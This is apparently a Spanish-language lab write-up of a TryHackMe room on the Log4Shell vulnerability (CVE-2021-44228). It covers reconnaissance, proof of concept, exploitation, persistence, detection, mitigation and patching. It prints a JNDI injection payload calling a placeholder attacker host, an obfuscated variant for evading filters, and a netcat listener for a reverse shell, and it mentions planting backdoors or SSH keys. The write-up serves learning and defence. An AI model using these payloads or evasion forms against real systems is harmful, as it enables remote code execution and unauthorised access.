THM---Solar-exploiting-Log-4j

Esta sala se basa en explotar la notoria vulnerabilidad Log4j (CVE-2021-44228), también conocida como Log4Shell. La debilidad permite a los atacantes ejecutar código remoto mediante la inyección de payloads maliciosos en los mensajes de registro.

TAREA 1 – INTRODUCCIÓN A CVE-2021-44228

En esta tarea, aprendí sobre la vulnerabilidad Log4Shell (CVE-2021-44228) en Apache Log4j. • Log4j es una biblioteca de registro Java ampliamente utilizada. • La vulnerabilidad permite la ejecución remota de código (RCE) a través de búsquedas JNDI. • Los atacantes pueden inyectar payloads como: ${jndi:ldap://attacker.com/a} • Cuando se registra, el servidor contacta al servidor controlado por el atacante y ejecuta código malicioso. 👉 Esto mostró lo peligroso que puede ser registrar la entrada del usuario sin desinfección.

TAREA 2 – RECONOCIMIENTO

Aquí, comencé a interactuar con el sistema objetivo. • Accedí a la aplicación web. • Identifiqué campos de entrada y cabeceras que podrían ser registrados. • Observé cómo la aplicación procesa la entrada del usuario. 👉 Objetivo: Encontrar dónde se usa Log4j y dónde se pueden inyectar payloads.

TAREA 3 – DESCUBRIMIENTO

En este paso, confirmé la vulnerabilidad. • Probé la inyección de payloads en cabeceras como: • User-Agent • X-Forwarded-For • Verifiqué conexiones salientes o respuestas. 👉 Esto ayudó a verificar que la aplicación es vulnerable a Log4Shell.

TAREA 4 – PRUEBA DE CONCEPTO

Creé un PoC funcional para demostrar la vulnerabilidad. • Configuré un listener/servidor para detectar devoluciones de llamada. • Inyecté un payload JNDI. • Observé que el objetivo realizó una solicitud a mi servidor. 👉 Esto confirmó la interacción remota → la vulnerabilidad es explotable.

TAREA 5 – EXPLOTACIÓN

Aquí, pasé del PoC a la explotación completa. • Alojé un payload malicioso (clase Java o script). • Usé inyección JNDI para forzar al servidor a cargarlo. • Obtuve una reverse shell. Ejemplo: nc -lvnp 4444 👉 Logré ejecución remota de código con éxito.

TAREA 6 – PERSISTENCIA

Después de obtener acceso, aseguré el acceso continuo. • Creé backdoors o agregué claves SSH. • Modifiqué configuraciones del sistema si era necesario. 👉 Esto asegura el acceso incluso después de un reinicio o pérdida de sesión.

TAREA 7 – DETECCIÓN

Esta tarea se centró en identificar ataques. • Aprendí cómo aparecen los exploits de Log4j en los registros. • Indicadores: • ${jndi:ldap://...} patterns • Tráfico LDAP/DNS saliente sospechoso 👉 Importante para los equipos azules detectar intentos de explotación.

TAREA 8 – BYPASSES

Aquí, exploré cómo los atacantes evaden los filtros. • Técnicas de ofuscación: ${${lower:j}${lower:n}${lower:d}${lower:i}:...} • Codificación de payloads para evadir la detección. 👉 Muestra que el filtrado simple no es suficiente.

TAREA 9 – MITIGACIÓN

Aprendí cómo reducir el riesgo sin parche completo. • Deshabilitar búsquedas JNDI • Restringir conexiones de red salientes • Usar reglas WAF 👉 Defensas temporales antes del parche adecuado.

TAREA 10 – PARCHADO

Centrado en soluciones permanentes. • Actualizar Log4j a: • 2.17.0 o posterior • Eliminar clases vulnerables: JndiLookup.class 👉 Un parche adecuado elimina completamente la vulnerabilidad.

TAREA 11 – CRÉDITOS Y NOTAS DEL AUTOR

• Reconocimiento a los creadores de la sala. • Resumen de los objetivos de aprendizaje. • Reflexiones finales sobre el impacto de Log4Shell.

REFLEXIONES FINALES

Esta sala me dio una comprensión completa de: • Cómo funciona una vulnerabilidad crítica del mundo real • Cómo los atacantes la explotan paso a paso • Cómo los defensores la detectan y previenen 👉 Fue una gran experiencia práctica con una de las vulnerabilidades más impactantes en la historia de la ciberseguridad.